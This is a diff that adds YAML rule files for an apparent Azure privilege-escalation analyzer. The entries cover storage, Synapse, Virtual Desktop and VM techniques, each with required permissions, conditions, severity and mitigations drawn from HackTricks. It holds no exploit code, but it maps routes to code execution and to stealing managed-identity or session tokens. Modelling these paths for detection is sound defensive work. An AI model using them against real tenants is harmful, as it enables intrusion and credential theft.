https://learn.microsoft.com/en-us/rest/api/storageservices/get-blob + notes: Draft requires azure.storage.blob_credential_holders; the evaluator must join only verified holders, and + return UNKNOWN if that fact is missing or incomplete. +- id: azure-storage-hns-acl-takeover-and-blob-super-user-data-action + provider: azure + service: storage + title: Rewrite ADLS Gen2 path ACLs for new access + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#hns-acl-takeover-and-blob-super-user-data-action + source_revision: 0b36331 + summary: modifyPermissions can grant the caller previously denied file access when ancestor execute and a read grant are present; the exclusion treats the gain as ordinary data read. + requires: + all_of: [] + any_of: + - - action: Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action + scope: '{target.scope}' + data_action: true + - - action: Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action + scope: '{target.scope}' + data_action: true + - - action: Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action + scope: '{target.scope}' + data_action: true + target: + kind: azure_dataplane_admin + selector: + azure_challenge_fact: azure-storage-hns-acl-takeover-and-blob-super-user-data-action + scope: inherited_scope + aggregate_as: Pending service authority for storage + outcome: application_admin + grants: + - Target ADLS Gen2 path whose POSIX ACL the principal can modify; access requires ancestor execute plus data read. + conditions: + - id: collector_fact_required + description: The azure_adls_acl_paths inventory must identify the exact target and rights; absent or incomplete facts remain UNKNOWN. + confidence: conditional + severity: medium + mitigation: Restrict the listed permissions to trusted operators and rotate or revoke resulting credentials or grants. + references: + - https://github.com/HackTricks-wiki/hacktricks-cloud/blob/0b36331/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md + notes: 'Collector fact required: azure_adls_acl_paths. UNKNOWN until path ACL, ancestors, and separate data-read grant are collected.' +- id: azure-storage-microsoftstoragestorageaccountsfileservicesfilesharesfilesmodifypermissionsact + provider: azure + service: storage + title: Rewrite Azure Files NTFS ACLs for new access + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountsfileservicesfilesharesfilesmodifypermissionsaction + source_revision: 0b36331 + summary: The action can rewrite NTFS ACLs to grant the caller previously denied file permissions; separate file read is required for content. + requires: + all_of: + - action: Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action + scope: '{target.scope}' + data_action: true + target: + kind: azure_dataplane_admin + selector: + azure_challenge_fact: azure-storage-microsoftstoragestorageaccountsfileservicesfilesharesfilesmodifypermissionsact + scope: inherited_scope + aggregate_as: Pending service authority for storage + outcome: application_admin + grants: + - Target Azure Files path whose NTFS ACL the principal can modify; access requires a separate file data read action. + conditions: + - id: collector_fact_required + description: The azure_files_acls inventory must identify the exact target and rights; absent or incomplete facts remain UNKNOWN. + confidence: conditional + severity: medium + mitigation: Restrict the listed permissions to trusted operators and rotate or revoke resulting credentials or grants. + references: + - https://github.com/HackTricks-wiki/hacktricks-cloud/blob/0b36331/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md + notes: 'Collector fact required: azure_files_acls. UNKNOWN until NTFS ACL and separate file read/write grant are collected.' diff --git a/src/privilege-escalation-paths-research/azure/synapse.yaml b/src/privilege-escalation-paths-research/azure/synapse.yaml new file mode 100644 index 0000000000..139a4778e5 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/synapse.yaml @@ -0,0 +1,101 @@ +# Azure Synapse techniques (declarative only). +# Source: hacktricks-cloud az-synapse-privesc.md (rev 171e422). + +- id: azure-synapse-entra-admin-write + provider: azure + service: synapse + title: Replace the Synapse workspace Entra administrator + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-synapse-privesc.md#replace-the-workspace-microsoft-entra-administrator + source_revision: 171e422 + summary: The source can obtain SQL sysadmin on the Synapse workspace dedicated SQL endpoint. + requires: + all_of: [] + any_of: + - - action: Microsoft.Synapse/workspaces/administrators/write + scope: "{target.scope}" + - - action: Microsoft.Synapse/workspaces/sqlAdministrators/write + scope: "{target.scope}" + target: + kind: azure_dataplane_admin + selector: + any_principal_in_scope: true + scope: inherited_scope + aggregate_as: "Synapse SQL admins of {target.scope}" + conditions: + - id: sql_endpoint_reachable + description: Workspace firewall or private networking must allow the source to reach the SQL endpoint. + blockers: [] + confidence: derived + severity: critical + mitigation: Restrict administrators/write and sqlAdministrators/write and alert on Entra admin changes. + references: + - https://learn.microsoft.com/en-us/azure/synapse-analytics/security/how-to-set-up-access-control + notes: Tested only for the dedicated SQL endpoint; does not grant Synapse RBAC administrator or serverless SQL access. + +- id: azure-synapse-bigdatapools-write-spark-poisoning + provider: azure + service: synapse + title: Poison a Synapse Spark pool configuration to run code as the workspace identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-synapse-privesc.md#spark-pool-poisoning-via-workspacesbigdatapoolswrite + source_revision: 171e422 + summary: Changing a Spark pool's library requirements or Spark configuration makes later sessions on that pool run attacker-chosen code, which can obtain tokens for the workspace managed identity when jobs run under it. + requires: + all_of: + - action: Microsoft.Synapse/workspaces/bigDataPools/write + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Synapse/workspaces + scope: inherited_scope + aggregate_as: "Managed identity of Synapse workspace {target.host_resource}" + conditions: + - id: later_spark_run + description: The code runs only when a Spark session or pipeline starts on the poisoned pool after the change; the source cannot trigger it with this action alone. + - id: run_identity + description: Pipeline-triggered notebooks and Spark job definitions run as the workspace managed identity; interactive sessions run as the signed-in user, which is not derivable. + - id: package_source_reachable + description: The pool must be able to fetch the attacker package or configuration source (data exfiltration protection and managed VNet rules can block it). + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict bigDataPools/write, enable data exfiltration protection, review pool library and configuration changes, and keep the workspace identity least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/synapse-analytics/spark/apache-spark-manage-pool-packages + - https://learn.microsoft.com/en-us/azure/synapse-analytics/synapse-service-identity + notes: Only the workspace system-assigned identity and user-assigned identities on the workspace are modelled; user-session credentials are not. + +- id: azure-synapse-rogue-shir-linked-service-credentials + provider: azure + service: synapse + title: Register a rogue Synapse self-hosted integration runtime node and receive linked-service credentials + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-synapse-privesc.md#rogue-self-hosted-integration-runtime-node-synapse + source_revision: a66f094ede + summary: A self-hosted integration runtime node registered with a Synapse runtime auth key executes pipeline activities with the stored linked-service credentials, which can include service-principal secrets. + requires: + all_of: [] + any_of: + - - action: Microsoft.Synapse/workspaces/integrationRuntimes/listAuthKeys/action + scope: '{pivot}' + - - action: Microsoft.Synapse/workspaces/integrationRuntimes/regenerateAuthKey/action + scope: '{pivot}' + pivot_resource_type: Microsoft.Synapse/workspaces + target: + kind: azure_service_principal + selector: + credential_stored_in_scope: '{pivot}' + scope: any + aggregate_as: Service principals with credentials stored in linked services of {pivot} + conditions: + - id: linked_service_uses_sp_secret_on_shir + description: Only linked services that authenticate with a service-principal secret or certificate and connect through that self-hosted runtime are exposed; other credential types are data access only. + - id: activity_runs_on_rogue_node + description: An activity using the linked service must be dispatched to the rogue node while it is registered. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict integration runtime listAuthKeys and regenerateAuthKey, alert on new runtime node registrations, and store linked-service secrets in Key Vault with managed-identity access. + references: + - https://learn.microsoft.com/en-us/azure/data-factory/create-self-hosted-integration-runtime + notes: Same primitive as azure-datafactory-rogue-shir-linked-service-credentials. getConnectionInfo and syncCredentials are recon and credential-sync helpers; regenerateAuthKey also evicts legitimate nodes. diff --git a/src/privilege-escalation-paths-research/azure/virtual_desktop.yaml b/src/privilege-escalation-paths-research/azure/virtual_desktop.yaml new file mode 100644 index 0000000000..f5af16cab6 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/virtual_desktop.yaml @@ -0,0 +1,103 @@ +# Azure Virtual Desktop techniques (declarative only). +# Source: hacktricks-cloud az-virtual-desktop-post-exploitation.md (rev 171e422). +# The application group -> host pool -> session host VM link is not collected, so targets use +# azure_host_linked_to_pivot (unknown until collected). + +- id: azure-avd-application-write-session-host-rce + provider: azure + service: virtual_desktop + title: Repoint a published AVD RemoteApp to run attacker commands on session hosts + source: src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md#fleet-rce-via-applicationgroupsapplicationswrite-lolbin-commandlinearguments + source_revision: 171e422 + summary: Changing a RemoteApp's file path and command-line arguments makes session hosts run attacker commands when assigned users launch the app, exposing the session hosts' managed identities. + requires: + all_of: + - action: Microsoft.DesktopVirtualization/applicationgroups/applications/write + scope: '{pivot}' + pivot_resource_type: Microsoft.DesktopVirtualization/applicationGroups + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Compute/virtualMachines + azure_host_linked_to_pivot: avd_session_host + scope: inherited_scope + aggregate_as: "Managed identities of session hosts serving application group {pivot}" + conditions: + - id: user_launches_app + description: Code runs only when an assigned user launches the modified RemoteApp. + - id: imds_reachable_from_user_context + description: The command runs in the launching user's session; reaching the host identity requires IMDS to be reachable from that context (not blocked by host firewall). + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict Desktop Virtualization Application Group Contributor, alert on application filePath / commandLineArguments changes, and keep session-host identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/virtual-desktop/manage-app-groups + notes: The launching users' session context (their tokens and data) is also exposed; that user target is modelled by azure-avd-application-write-launching-users. Also covers the "Common techniques" RemoteApp application-path redirect. + +- id: azure-avd-application-write-launching-users + provider: azure + service: virtual_desktop + title: Repoint a published AVD RemoteApp to run attacker commands in assigned users' sessions + source: src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md#fleet-rce-via-applicationgroupsapplicationswrite-lolbin-commandlinearguments + source_revision: 171e422 + summary: Changing a RemoteApp's file path and command-line arguments makes it run attacker commands in the session of each user assigned to the application group, exposing that user's session tokens. + requires: + all_of: + - action: Microsoft.DesktopVirtualization/applicationgroups/applications/write + scope: '{pivot}' + pivot_resource_type: Microsoft.DesktopVirtualization/applicationGroups + target: + kind: azure_user + selector: + azure_users_assigned_to_pivot: true + scope: tenant + aggregate_as: "Users assigned to application group {pivot}" + outcome: credentials + conditions: + - id: user_launches_app + description: Code runs only when an assigned user launches the modified RemoteApp; users who never launch it are not reached. + - id: session_token_reuse + description: What the source obtains is the user's session context (cached tokens, PRT-bound sessions); token protection or Conditional Access bound to the session host may limit reuse elsewhere. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict Desktop Virtualization Application Group Contributor, alert on application filePath / commandLineArguments changes, and set commandLineSetting to DoNotAllow for published apps. + references: + - https://learn.microsoft.com/en-us/azure/virtual-desktop/manage-app-groups + - https://learn.microsoft.com/en-us/azure/virtual-desktop/rbac + notes: The session-host managed identity half of the same technique is azure-avd-application-write-session-host-rce. Users are those holding Desktop Virtualization User on the application group (directly or through groups). +- id: azure-avd-appattach-share-overwrite-assigned-user + provider: azure + service: virtual_desktop + title: Overwrite an assigned App Attach image to reach launching users + source: src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md#common-techniques + summary: Writing the exact Azure Files image of an App Attach package can run an accepted replacement in a user + session when the assigned user launches the app. + requires: + all_of: + - action: Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write + data_action: true + scope: '{pivot}' + pivot_resource_type: Microsoft.Storage/storageAccounts + target: + kind: azure_user + selector: + azure_challenge_fact: azure-avd-appattach-share-overwrite-assigned-user + scope: tenant + outcome: credentials + aggregate_as: Assigned users of App Attach packages stored on {pivot} + conditions: + - id: accepted_package_and_user_launch + description: The replacement image must pass package certificate trust and an assigned user must launch the + application; reusable session tokens are conditional. + confidence: conditional + severity: high + mitigation: Restrict writes to App Attach image shares and verify package signatures and assignments. + references: + - https://learn.microsoft.com/en-us/azure/virtual-desktop/app-attach-setup + - https://learn.microsoft.com/en-us/rest/api/desktopvirtualization/app-attach-package/list-by-subscription?view=rest-desktopvirtualization-2025-10-10 + notes: Inert until exact azure_avd_appattach_share_bindings evidence is collected. The generic host-managed-identity + outcome is azure-v3-09-file-share-overwrite; user sessions need separate target evidence. diff --git a/src/privilege-escalation-paths-research/azure/virtual_machines.yaml b/src/privilege-escalation-paths-research/azure/virtual_machines.yaml new file mode 100644 index 0000000000..9b05d1db42 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/virtual_machines.yaml @@ -0,0 +1,594 @@ +- id: azure-vm-extensions-write + provider: azure + service: virtual_machines + title: Deploy or update a VM extension to run code in the guest + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachinesextensionswrite + source_revision: 171e422 + summary: Custom Script, DSC, VMAccess, Hybrid Worker or third-party (Salt, Chef) extensions give root/SYSTEM code execution in the VM and thus tokens of its managed identities. + requires: + all_of: + - action: Microsoft.Compute/virtualMachines/extensions/write + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Compute/virtualMachines + scope: inherited_scope + aggregate_as: "Managed identities of VM {target.host_resource}" + conditions: + - id: vm_agent_running + description: The VM must be running with a healthy VM agent to process the extension. + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict Microsoft.Compute/virtualMachines/extensions/write (Virtual Machine Contributor, Contributor), use Azure Policy to allow-list extension publishers/types, and keep VM identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/features-windows + notes: Covers the VMAccess password/SSH-key reset (which additionally uses virtualMachines/read+write in the CLI flow) and the DSC extension flow. Scale-set model extensions (virtualMachineScaleSets/extensions/write) are modelled separately in azure-vmss-model-write. +- id: azure-vm-runcommand-action + provider: azure + service: virtual_machines + title: Invoke Run Command on a VM + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachinesruncommandaction + source_revision: 171e422 + summary: Run Command executes scripts as root/SYSTEM through the VM agent, exposing the VM's managed identities. + requires: + all_of: + - action: Microsoft.Compute/virtualMachines/runCommand/action + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Compute/virtualMachines + scope: inherited_scope + aggregate_as: "Managed identities of VM {target.host_resource}" + conditions: + - id: vm_agent_running + description: The VM must be running with a healthy VM agent. + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict runCommand/action (Virtual Machine Contributor, Contributor) and alert on Run Command usage. + references: + - https://learn.microsoft.com/en-us/azure/virtual-machines/windows/run-command + notes: "" +- id: azure-vm-managed-runcommands-write + provider: azure + service: virtual_machines + title: Create a managed Run Command child resource on a VM + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachinesruncommandswrite + source_revision: 171e422 + summary: Creating or replacing a managed Run Command executes the script as root/SYSTEM, exposing the VM's managed identities. + requires: + all_of: + - action: Microsoft.Compute/virtualMachines/runCommands/write + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Compute/virtualMachines + scope: inherited_scope + aggregate_as: "Managed identities of VM {target.host_resource}" + conditions: + - id: vm_agent_running + description: The VM must be running with a healthy VM agent. + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict runCommands/write and alert on managed Run Command creation. + references: + - https://learn.microsoft.com/en-us/azure/virtual-machines/windows/run-command-managed + notes: "" +- id: azure-vmss-vm-managed-runcommands-write + provider: azure + service: virtual_machines + title: Create a managed Run Command on a scale-set instance + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachinesruncommandswrite + source_revision: 171e422 + summary: Managed Run Command on a VMSS instance runs as root/SYSTEM and exposes the scale set's managed identities. + requires: + all_of: + - action: Microsoft.Compute/virtualMachineScaleSets/virtualMachines/runCommands/write + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Compute/virtualMachineScaleSets + scope: inherited_scope + aggregate_as: "Managed identities of scale set {target.host_resource}" + conditions: + - id: vm_agent_running + description: Instance must be running with a healthy VM agent (Uniform orchestration instances). + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict scale-set run command permissions and keep scale-set identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/virtual-machines/windows/run-command-managed + notes: Also includes AKS node pools backed by VMSS (kubelet/agentpool identities) when the source has rights in the node resource group. +- id: azure-arc-machine-runcommands-write + provider: azure + service: virtual_machines + title: Create a Run Command on an Arc-enabled server + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachinesruncommandswrite + source_revision: 171e422 + summary: Run Command on an Arc-enabled server executes as root/SYSTEM and exposes the Arc machine's system-assigned identity. + requires: + all_of: + - action: Microsoft.HybridCompute/machines/runCommands/write + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.HybridCompute/machines + scope: inherited_scope + aggregate_as: "Managed identity of Arc machine {target.host_resource}" + conditions: + - id: arc_agent_connected + description: The Connected Machine agent must be connected and run commands not disabled by local agent configuration. + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict Arc run command permissions and use agent-side extension allow-lists. + references: + - https://learn.microsoft.com/en-us/azure/azure-arc/servers/run-command + notes: On the Arc machine the identity token requires local admin/himds group access, which root/SYSTEM run commands have. +- id: azure-vm-gallery-application-install + provider: azure + service: virtual_machines + title: Add a malicious VM Application version to a VM + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputegallerieswrite-microsoftcomputegalleriesapplicationswrite-microsoftcomputegalleriesapplicationsversionswrite-microsoftcomputevirtualmachineswrite + source_revision: 171e422 + summary: The install command of a gallery application version added to a VM runs in the guest, exposing the VM's managed identities. + requires: + all_of: + - action: Microsoft.Compute/galleries/applications/versions/write + scope: "{pivot}" + - action: Microsoft.Compute/virtualMachines/write + scope: "{target.host_resource}" + pivot_resource_type: Microsoft.Compute/galleries + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Compute/virtualMachines + scope: inherited_scope + aggregate_as: "Managed identities of VM {target.host_resource}" + conditions: + - id: gallery_app_exists_or_creatable + description: Needs an existing gallery application (or galleries/write and galleries/applications/write to create one) in the same region as the VM, and a package URL the VM can download. + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict gallery application version writes and virtualMachines/write; audit applicationProfile changes on VMs. + references: + - https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to + notes: Pivot gallery can be newly created if galleries/write is held on a resource group. +- id: azure-vm-entra-login + provider: azure + service: virtual_machines + title: Sign in to a VM with Entra ID (user or admin) and use its IMDS identities + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachinesloginaction + source_revision: 171e422 + summary: An interactive Entra-authenticated SSH/RDP session on the VM can request tokens for the VM's managed identities from IMDS. + requires: + all_of: [] + any_of: + - - action: Microsoft.Compute/virtualMachines/login/action + data_action: true + scope: "{target.host_resource}" + - - action: Microsoft.Compute/virtualMachines/loginAsAdmin/action + data_action: true + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Compute/virtualMachines + scope: inherited_scope + aggregate_as: "Managed identities of VM {target.host_resource}" + conditions: + - id: entra_login_extension_enabled + description: The AADSSHLoginForLinux / AADLoginForWindows extension must be installed. + - id: network_reachability + description: The source must reach SSH/RDP (directly, via Bastion or az ssh/Arc proxy). + - id: imds_restricted_for_non_admin + description: Guest hardening (e.g. host firewall rules limiting IMDS to specific users) can block non-admin logins; loginAsAdmin is not affected. + - id: conditional_access + description: Conditional Access policies targeting the Azure Linux/Windows VM Sign-In applications (MFA, compliant device) apply to the source's login. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict Virtual Machine User/Administrator Login roles and limit network access to management ports. + references: + - https://learn.microsoft.com/en-us/entra/identity/devices/howto-vm-sign-in-azure-ad-linux + - https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service + notes: IMDS is reachable by any local process by default, so even non-admin login exposes the identities. +- id: azure-vm-create-with-user-assigned-identity + provider: azure + service: virtual_machines + title: Create a VM with an attached user-assigned identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftresourcesdeploymentswrite-microsoftnetworkvirtualnetworkswrite-microsoftnetworknetworksecuritygroupswrite-microsoftnetworknetworksecuritygroupsjoinaction-microsoftnetworkpublicipaddresseswrite-microsoftnetworkpublicipaddressesjoinaction-microsoftnetworknetworkinterfaceswrite-microsoftcomputevirtualmachineswrite-microsoftnetworkvirtualnetworkssubnetsjoinaction-microsoftnetworknetworkinterfacesjoinaction-microsoftmanagedidentityuserassignedidentitiesassignaction + source_revision: 171e422 + summary: A newly created VM the source administers carries any user-assigned identity the source can assign, so its tokens become available from the guest. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: "{target.id}" + - action: Microsoft.Compute/virtualMachines/write + scope: "{pivot}" + - action: Microsoft.Network/networkInterfaces/write + scope: "{pivot}" + - action: Microsoft.Network/networkInterfaces/join/action + scope: "{pivot}" + - action: Microsoft.Network/virtualNetworks/subnets/join/action + scope: "*" + pivot_resource_type: Microsoft.Resources/resourceGroups + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_identity_assignable_in_scope: true + scope: inherited_scope + aggregate_as: "User-assigned identities assignable in {scope}" + conditions: + - id: guest_access_path + description: The source must reach the guest (public IP + NSG rule, which needs publicIPAddresses/write+join and networkSecurityGroups/write+join, or outbound-only custom data/cloud-init executed at provisioning). + - id: vnet_creation + description: Without an existing joinable subnet, virtualNetworks/write is also needed. + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict userAssignedIdentities/assign/action to specific identities and deployment principals; use Azure Policy to restrict which identities can be attached to new compute. + references: + - https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-configure-managed-identities + notes: Pivot is the resource group where the source can create the VM and NIC. Microsoft.Resources/deployments/write is only needed when creating through an ARM/CLI deployment. +- id: azure-vm-assign-user-assigned-identity-existing + provider: azure + service: virtual_machines + title: Attach a user-assigned identity to an existing VM the source can execute code on + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachineswrite-microsoftmanagedidentityuserassignedidentitiesassignaction + source_revision: a66f094ede + summary: Adding a user-assigned identity to a VM where the source already has code execution exposes that identity's tokens via IMDS. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: "{target.id}" + - action: Microsoft.Compute/virtualMachines/write + scope: "{pivot}" + any_of: + - - action: Microsoft.Compute/virtualMachines/runCommand/action + scope: "{pivot}" + - - action: Microsoft.Compute/virtualMachines/runCommands/write + scope: "{pivot}" + - - action: Microsoft.Compute/virtualMachines/extensions/write + scope: "{pivot}" + - - action: Microsoft.Compute/virtualMachines/login/action + data_action: true + scope: "{pivot}" + - - action: Microsoft.Compute/virtualMachines/loginAsAdmin/action + data_action: true + scope: "{pivot}" + pivot_resource_type: Microsoft.Compute/virtualMachines + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_identity_assignable_in_scope: true + scope: inherited_scope + aggregate_as: "User-assigned identities assignable in {scope}" + conditions: + - id: guest_compromise_outside_rbac + description: HackTricks also covers the case where the VM is compromised by non-RBAC means (SSRF, existing shell); that case is not detectable from RBAC alone. + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and virtualMachines/write; alert on identity changes on VMs. + references: + - https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-configure-managed-identities + notes: Conditional code-execution routes (customData re-provisioning, Serial Console, VM Applications, OS disk swap, guest configuration) are modelled by azure-vm-assign-user-assigned-identity-indirect-exec. +- id: azure-vm-assign-user-assigned-identity-indirect-exec + provider: azure + service: virtual_machines + title: Attach a user-assigned identity to an existing VM and run code through an indirect guest route + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachineswrite-microsoftmanagedidentityuserassignedidentitiesassignaction + source_revision: a66f094ede + summary: Adding a user-assigned identity to a VM and reaching the guest through customData re-provisioning, Serial Console, a VM Application, an OS disk swap or a guest configuration assignment exposes that identity's tokens via IMDS. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: "{target.id}" + - action: Microsoft.Compute/virtualMachines/write + scope: "{pivot}" + any_of: + - - action: Microsoft.Compute/virtualMachines/reimage/action + scope: "{pivot}" + - - action: Microsoft.Compute/virtualMachines/redeploy/action + scope: "{pivot}" + - - action: Microsoft.SerialConsole/serialPorts/connect/action + scope: "{pivot}" + - action: Microsoft.Compute/virtualMachines/restart/action + scope: "{pivot}" + - - action: Microsoft.Compute/galleries/applications/versions/write + - - action: Microsoft.Compute/virtualMachines/deallocate/action + scope: "{pivot}" + - action: Microsoft.Compute/virtualMachines/start/action + scope: "{pivot}" + - action: Microsoft.Compute/disks/write + - - action: Microsoft.GuestConfiguration/guestConfigurationAssignments/write + scope: "{pivot}" + pivot_resource_type: Microsoft.Compute/virtualMachines + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_identity_assignable_in_scope: true + scope: inherited_scope + aggregate_as: "User-assigned identities assignable in {scope}" + conditions: + - id: route_prerequisites + description: Each route keeps the prerequisites of its own entry (azure-vm-customdata-reimage, azure-vm-serial-console-connect, azure-vm-gallery-application-install, azure-vm-os-disk-swap, azure-guestconfiguration-assignment-write), such as cloud-init re-provisioning, boot diagnostics and a guest recovery path, a gallery application in the VM's region, a compatible attacker disk, or the guest configuration extension. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and virtualMachines/write; alert on identity changes on VMs together with reimage, Serial Console, applicationProfile, OS disk and guest configuration changes. + references: + - https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-configure-managed-identities + - https://learn.microsoft.com/en-us/azure/virtual-machines/custom-data + - https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to + notes: Split from azure-vm-assign-user-assigned-identity-existing so the conditional routes do not raise the confidence of the direct run-command / extension / login routes. The gallery application and disk requirements carry no scope because the gallery or disk can be any one the source can write (or create). +- id: azure-vmss-vm-runcommand-action + provider: azure + service: virtual_machines + title: Invoke Run Command on a scale-set instance + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachinesruncommandaction + source_revision: 171e422 + summary: Run Command on a Uniform scale-set instance executes as root/SYSTEM through the VM agent and exposes the scale set's managed identities. + requires: + all_of: + - action: Microsoft.Compute/virtualMachineScaleSets/virtualMachines/runCommand/action + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Compute/virtualMachineScaleSets + scope: inherited_scope + aggregate_as: "Managed identities of scale set {target.host_resource}" + conditions: + - id: vm_agent_running + description: The instance must be running with a healthy VM agent (Uniform orchestration; Flexible instances are plain VMs covered by azure-vm-runcommand-action). + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict virtualMachineScaleSets/virtualMachines/runCommand/action (Virtual Machine Contributor, Contributor) and keep scale-set identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute + - https://learn.microsoft.com/en-us/azure/virtual-machines/windows/run-command + notes: The page documents the VM action; the scale-set instance equivalent is a documented Microsoft.Compute operation with the same semantics. AKS node pools backed by VMSS are reachable when the source has the right in the node resource group (AKS normally protects it with a deny assignment). +- id: azure-vm-serial-console-connect + provider: azure + service: virtual_machines + title: Use Serial Console and an ARM restart for guest recovery + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftserialconsoleserialportsconnectaction + source_revision: 0b36331 + summary: Interactive Serial Console access combined with an ARM VM restart can reach a guest recovery shell or + reset a local password, exposing the VM managed identities when recovery succeeds. + requires: + all_of: + - action: Microsoft.SerialConsole/serialPorts/connect/action + scope: '{target.host_resource}' + - action: Microsoft.Compute/virtualMachines/restart/action + scope: '{target.host_resource}' + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Compute/virtualMachines + scope: inherited_scope + aggregate_as: Managed identities of VM {target.host_resource} + conditions: + - id: boot_diagnostics_enabled + description: Boot diagnostics must be enabled on the VM (enabling it needs virtualMachines/write). With a custom + boot-diagnostics storage account, the source also needs access to that account and it must allow Shared Key + access. + - id: serial_console_not_disabled + description: Serial Console must not be disabled for the subscription or inside the guest. + - id: guest_recovery_path + description: The guest must allow console recovery after restart, such as an unprotected boot loader or single-user + mode, or an enabled SAC/CMD channel on Windows. + - id: interactive_session + description: The console is interactive (portal or CLI extension), so the source's sign-in, including Conditional + Access, applies. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Disable Serial Console where it is not needed, protect boot loaders, restrict serialPorts/connect/action + and VM restart rights, and keep VM identities least-privileged. + references: + - https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/serial-console-linux + - https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/serial-console-windows + notes: This entry covers the ARM-initiated restart and guest-recovery route. Direct login with an already known + local guest password does not require virtualMachines/restart/action, but the credential is not present in the + permission snapshot. The same feature exists for scale-set instances, which this entry does not model. +- id: azure-vm-os-disk-swap + provider: azure + service: virtual_machines + title: Swap a VM's OS disk for an attacker-prepared disk 